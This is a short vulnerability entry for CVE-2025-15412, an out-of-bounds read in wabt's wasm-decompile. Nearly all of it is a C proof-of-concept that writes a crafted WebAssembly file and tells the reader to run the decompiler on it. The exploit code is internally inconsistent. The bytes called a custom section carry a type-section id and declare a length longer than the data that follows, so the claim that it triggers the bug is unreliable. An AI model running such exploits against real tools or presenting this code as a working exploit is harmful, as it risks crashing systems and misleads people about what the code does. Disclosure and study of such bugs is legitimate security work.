CVE-2025-15412: WebAssembly wabt wasm-decompile越界读取漏洞

/* CVE-2025-15412 PoC - wasm-decompile out-of-bounds read */ /* This PoC demonstrates the vulnerability in wabt::Decompiler::VarName */ #include <stdio.h> #include <stdlib.h> #include <string.h> // Minimal WASM module structure to trigger the vulnerability unsigned char poc_wasm[] = { 0x00, 0x61, 0x73, 0x6d, // WASM magic number 0x01, 0x00, 0x00, 0x00, // WASM version 1 // Custom section to trigger VarName vulnerability 0x01, 0x09, 0x01, 0x00, 0x41, 0x00, 0x0b }; int main() { FILE *fp; const char *filename = "poc.wasm"; // Create malicious WASM file fp = fopen(filename, "wb"); if (fp == NULL) { fprintf(stderr, "Failed to create file\n"); return 1; } fwrite(poc_wasm, sizeof(unsigned char), sizeof(poc_wasm), fp); fclose(fp); printf("PoC WASM file created: %s\n", filename); printf("Run: wasm-decompile %s\n", filename); printf("Expected: Out-of-bounds read in VarName function\n"); return 0; }